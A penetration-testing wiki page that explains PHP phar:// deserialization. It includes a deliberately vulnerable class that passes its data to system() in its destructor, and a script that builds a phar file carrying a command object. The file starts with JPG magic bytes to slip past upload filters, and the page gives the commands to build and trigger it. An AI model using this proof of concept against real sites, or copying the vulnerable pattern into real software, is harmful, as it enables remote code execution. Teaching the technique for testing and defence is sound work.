74 lines
2.1 KiB
Markdown
74 lines
2.1 KiB
Markdown
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# phar:// deserialization
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**Phar** files \(PHP Archive\) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.
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The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file\_get\_contents\(\), fopen\(\), file\(\) or file\_exists\(\), md5\_file\(\), filemtime\(\) or filesize\(\)**.
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So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:
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{% code title="vunl.php" %}
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```php
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<?php
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class AnyClass {
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public $data = null;
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public function __construct($data) {
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$this->data = $data;
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}
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function __destruct() {
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system($this->data);
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}
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}
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filesize("phar://test.phar"); #The attacker can control this path
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```
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{% endcode %}
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You can create a **phar** file that when loaded will **abuse this class to execute arbitrary command**s with something like:
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{% code title="create\_phar.php" %}
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```php
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<?php
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class AnyClass {
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public $data = null;
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public function __construct($data) {
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$this->data = $data;
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}
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function __destruct() {
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system($this->data);
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}
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}
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// create new Phar
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$phar = new Phar('test.phar');
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$phar->startBuffering();
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$phar->addFromString('test.txt', 'text');
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$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
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// add object of any class as meta data
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$object = new AnyClass('whoami');
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$phar->setMetadata($object);
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$phar->stopBuffering();
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```
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{% endcode %}
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Note how the **magic bytes of JPG** \(`\xff\xd8\xff`\) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.
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**Compile** the `test.phar` file with:
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```bash
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php --define phar.readonly=0 create_phar.php
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```
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And execute the `whoami` command abusing the vulnerable code with:
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```bash
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php vuln.php
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```
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### References
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[https://blog.ripstech.com/2018/new-php-exploitation-technique/](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
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